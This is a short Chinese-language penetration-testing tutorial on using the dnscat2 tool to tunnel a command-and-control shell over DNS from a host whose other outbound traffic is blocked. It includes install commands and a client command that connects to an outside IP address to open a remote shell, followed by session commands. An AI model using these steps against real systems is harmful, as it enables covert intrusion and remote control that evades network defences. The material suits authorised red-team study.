前言
最近测试的时候,碰到一个站点可以执行命令,但是不能出网,无法通过常规的tcp\udp反弹shell。但是可以执行ping
命令,DNS有记录,说明DNS可以出网,这种情况下可以考虑通过DNS协议getshell。
dnscat2
目标对出站流量严格限制,但通常不会限制DNS请求,也就是UDP 53
请求。
dnscat2 就是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具,所以说这种隧道几乎在每个网络中都可以使用。dnscat2 由客户端和服务端两部分组成。
安装(服务端推荐使用docker,开放udp 53端口)
服务端
安装需要ruby环境及相关依赖。遇到安装错误等问题可以搜索引擎。
安装:
1 | $ git clone https://github.com/iagox86/dnscat2.git |
安装完成后可以尝试运行:ruby dnscat2.rb
默认监听UDP 53
,同时生成了随机的密码,服务端正在等待连接。
如果在VPS上进行监听,需要在控制台开启相应的端口(类型为UDP)
推荐使用docker:
1 | mpercival/dnscat2 |
客户端
Linux:
1 | $ git clone https://github.com/iagox86/dnscat2.git |
直接下载编译好的文件:https://downloads.skullsecurity.org/dnscat2/
Windows:
可以下载GitHub上的源代码进行编译,作者使用VS 2008。
直接下载编译好的文件:https://downloads.skullsecurity.org/dnscat2/
解压密码为password
:
dnscat2-v0.07-client-win32.zip
dnscat2-v0.07-client-x64.tar.bz2
dnscat2-v0.07-client-x86.tar.bz2
运行
服务端运行:
1 | ruby dnscat2.rb --dns host=0.0.0.0,port=53531 |
对应客户端运行:
1 | ./dnscat --dns server=23.105.193.106,port=53531 --secret=随机密钥 |
客户端成功连接:
如果未见到Session established!
字样,检查端口是否匹配,防火墙开放的端口是否为UDP类型。
常用指令
通过sessions查看已经连接的记录
使用session -i 1
连接到该客户端:
back
命令可以向前退回。
在session中使用shell可创建一个客户端的shell or cmd连接
使用session -i 1
进行连接后,输入shell
命令,可以创建一个shell连接
回退(back)查看sessions:
过程分析
学习资料
next to learn:ICMP隧道:https://mp.weixin.qq.com/s/GIS0B9xoUip9LDCAT059VA
评论加载中